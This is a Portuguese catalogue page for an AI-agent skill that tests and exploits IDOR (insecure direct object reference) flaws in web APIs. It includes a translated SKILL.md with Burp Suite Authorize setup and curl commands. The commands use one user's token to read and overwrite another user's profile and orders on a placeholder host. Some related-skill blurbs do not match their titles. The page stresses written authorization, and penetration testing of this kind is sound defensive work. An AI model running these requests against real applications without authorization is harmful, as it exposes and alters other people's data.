exploiting-idor-vulnerabilities
Faz seu agente identificar e explorar vulnerabilidades de Referência Direta Insegura (IDOR) manipulando identificadores de objetos.
O que ela faz
Esta ferramenta ajuda a encontrar e explorar falhas de segurança chamadas IDOR em aplicativos web e APIs. Ela verifica se um usuário pode acessar ou modificar dados de outro usuário sem permissão, alterando identificadores em URLs ou requisições.
Quando usar
- ✓Ao testar a segurança de um site ou aplicativo com permissão.
- ✓Quando um site usa números ou códigos fáceis de adivinhar em seus links.
- ✓Para verificar se usuários só conseguem ver os próprios dados em sistemas compartilhados.
Exemplo do que pedir para a IA
“Verifique se consigo acessar o perfil do usuário 102 usando minha conta de usuário 101.”
Quer saber mais? Abra as seções abaixo.
Como usar
O jeito mais fácil: copie a mensagem abaixo e cole no Claude, ChatGPT, Cursor ou outra IA. Ela lê a skill e segue as instruções.
Link da skill
Mensagem pronta para colar
Como funciona
A ferramenta usa um programa chamado Burp Suite para observar como o aplicativo se comunica. Ela tenta mudar os números de identificação em requisições para ver se consegue acessar informações de outras pessoas ou de administradores.
Instalação
Jeito mais fácil: copie o link da skill e cole no Claude, ChatGPT ou Cursor pedindo para seguir as instruções.
No terminal (Claude Code, Codex, Cursor), na pasta do projeto:
npx skills add mukul975/Anthropic-Cybersecurity-Skills --skill exploiting-idor-vulnerabilitiesOu baixe só o arquivo:
curl -L https://raw.githubusercontent.com/mukul975/Anthropic-Cybersecurity-Skills/main/skills/exploiting-idor-vulnerabilities/SKILL.md -o SKILL.mdConteúdo técnico (SKILL.md)
Tradução do texto original do autor no GitHub. Os comandos e códigos estão como no original.
Explorando Vulnerabilidades IDOR
Quando Usar
- Durante testes de penetração autorizados ao testar o controle de acesso em endpoints de recursos
- Quando APIs ou páginas web usam identificadores previsíveis (IDs numéricos, UUIDs, slugs) em URLs ou corpos de requisição
- Para validar que a autorização em nível de objeto é aplicada em todas as operações CRUD
- Ao testar aplicações multi-tenant onde usuários devem acessar apenas seus próprios dados
- Durante programas de bug bounty focados em vulnerabilidades de controle de acesso falho
Pré-requisitos
- Autorização: Acordo escrito de teste de penetração para a aplicação alvo
- Burp Suite Professional: Com a extensão Authorize instalada da BApp Store
- Duas contas de teste: Pelo menos duas contas de usuário separadas com níveis de permissão diferentes
- Extensão Burp Authorize: Para testes automatizados de IDOR entre sessões
- curl/httpie: Para criação manual de requisições
- Navegador: Configurado para usar o proxy do Burp Suite
Fluxo de Trabalho
Passo 1: Mapear Todas as Referências de Objetos na Aplicação
Identifique todos os endpoints que referenciam objetos por ID em toda a aplicação.
# Browse the application through Burp proxy with User A
# Review Burp Target > Site Map for endpoints with object references
# Common IDOR-prone endpoints to look for:
# GET /api/users/{id}
# GET /api/orders/{id}
# GET /api/invoices/{id}/download
# PUT /api/users/{id}/profile
# DELETE /api/posts/{id}
# GET /api/documents/{id}
# GET /api/messages/{conversation_id}
# Extract all endpoints with IDs from Burp proxy history
# Burp > Proxy > HTTP History > Filter by target domain
# Look for patterns: /resource/123, ?id=123, {"user_id": 123}
# Check different ID formats:
# Numeric sequential: /users/101, /users/102
# UUID: /users/550e8400-e29b-41d4-a716-446655440000
# Base64 encoded: /users/MTAx (decodes to "101")
# Hashed: /users/5d41402abc4b2a76b9719d911017c592
# Slug: /users/john-doe
Passo 2: Configurar a Extensão Burp Authorize para Testes Automatizados
Configure a extensão Authorize para reproduzir automaticamente requisições com a sessão de outro usuário.
# Install Authorize from BApp Store:
# Burp > Extender > BApp Store > Search "Authorize" > Install
# Configuration:
# 1. Log in as User B (victim) in a separate browser/incognito
# 2. Copy User B's session cookie/authorization header
# 3. In Authorize tab > Configuration:
# - Add User B's cookies in "Replace cookies" section
# - Or add User B's Authorization header in "Replace headers"
# Example header replacement:
# Original (User A): Authorization: Bearer <token_A>
# Replace with (User B): Authorization: Bearer <token_B>
# 4. Enable "Intercept requests from Repeater"
# 5. Enable "Intercept requests from Proxy"
# Authorize will show:
# - Green: Properly restricted (different response for different user)
# - Red: Potentially vulnerable (same response regardless of user)
# - Orange: Uncertain (needs manual verification)
Passo 3: Testar IDOR Horizontal (Mesmo Nível de Privilégio)
Tente acessar recursos pertencentes a outro usuário no mesmo nível de privilégio.
# Authenticate as User A (ID: 101)
TOKEN_A="Bearer eyJ..."
# Get User A's own resources
curl -s -H "Authorization: $TOKEN_A" \
"https://target.example.com/api/v1/users/101/profile" | jq .
# Attempt to access User B's resources (ID: 102) with User A's token
curl -s -H "Authorization: $TOKEN_A" \
"https://target.example.com/api/v1/users/102/profile" | jq .
# Compare responses - if both return 200 with data, IDOR is confirmed
# Test across different resource types
for resource in profile orders invoices messages documents; do
echo "--- Testing $resource ---"
# User A's resource
curl -s -o /dev/null -w "Own: %{http_code} " \
-H "Authorization: $TOKEN_A" \
"https://target.example.com/api/v1/users/101/$resource"
# User B's resource
curl -s -o /dev/null -w "Other: %{http_code}\n" \
-H "Authorization: $TOKEN_A" \
"https://target.example.com/api/v1/users/102/$resource"
done
# Test with POST/PUT/DELETE for write-based IDOR
curl -s -X PUT -H "Authorization: $TOKEN_A" \
-H "Content-Type: application/json" \
-d '{"name":"Hacked"}' \
"https://target.example.com/api/v1/users/102/profile"
Passo 4: Testar IDOR Vertical (Entre Níveis de Privilégio)
Tente acessar recursos de administrador ou elevados com um token de usuário regular.
# Como usuário regular, tente acessar perfis de usuário administrador
curl -s -H "Authorization: $TOKEN_A" \
…
Perguntas frequentes
O que é IDOR?
IDOR significa 'Insecure Direct Object Reference' (Referência Direta Insegura a Objeto). É uma falha onde um aplicativo permite que um usuário acesse recursos (como dados ou arquivos) que não deveria, simplesmente alterando um identificador (como um número ou código) em uma requisição.
Preciso de permissão para usar esta ferramenta?
Sim, é crucial ter autorização explícita por escrito antes de testar qualquer aplicativo. Usar esta ferramenta sem permissão é ilegal e antiético.
Quais ferramentas são necessárias?
Você precisará do Burp Suite Professional com a extensão Authorize instalada, além de contas de teste com diferentes níveis de permissão e ferramentas como `curl` para fazer requisições manuais.
Detalhes
Descrição original do autor
Identifies and exploits Insecure Direct Object Reference (IDOR) vulnerabilities by manipulating object identifiers (numeric IDs, UUIDs, slugs) in API requests and URLs, using Burp Suite proxy history, Intruder, and the Authorize extension to test object-level authorization across sessions. Use during authorized penetration tests or bug bounty work to validate that CRUD endpoints and multi-tenant a
Popularidade
- Estrelas no GitHub
- 35 mil
- Posição no ranking
- #5745
- Licença
- Apache-2.0
- Atualizada em
- 31/08/2026
Comentários
- …
Mais skills deste repositório
abusing-dpapi-for-credential-access
Dá ao seu agente de IA instruções prontas para uma tarefa específica, para ele fazer melhor e mais rápido.
mukul975/Anthropic-Cybersecurity-Skills
abusing-shadow-credentials-for-privesc
Ensina seu agente de IA a escrever textos claros e bem estruturados.
mukul975/Anthropic-Cybersecurity-Skills
achieving-cmmc-level-2-compliance
Ajuda seu agente a preparar um ambiente para conformidade com CMMC Nível 2. Ele implementa requisitos de segurança e gerencia a documentação necessária.
mukul975/Anthropic-Cybersecurity-Skills
acquiring-disk-image-with-dd-and-dcfldd
Ajuda seu agente a criar cópias exatas de discos rígidos. Isso é útil para garantir que nenhuma informação seja perdida ou alterada durante investigações.
mukul975/Anthropic-Cybersecurity-Skills
Skills parecidas
dashboard-builder
Ajuda seu agente a criar painéis de monitoramento úteis. Ele transforma dados em gráficos que respondem a perguntas importantes sobre o sistema.
affaan-m/ECC
dev-team
Simula uma equipe de desenvolvimento colaborativa, onde diferentes papéis respondem a um problema juntos. É útil para obter múltiplas perspectivas sem trocar de agente manualmente.
affaan-m/ECC
ecc-council
Faz seu agente reunir um conselho de quatro vozes para tomar decisões difíceis. É útil quando há várias opções boas e é preciso debater antes de escolher.
affaan-m/ECC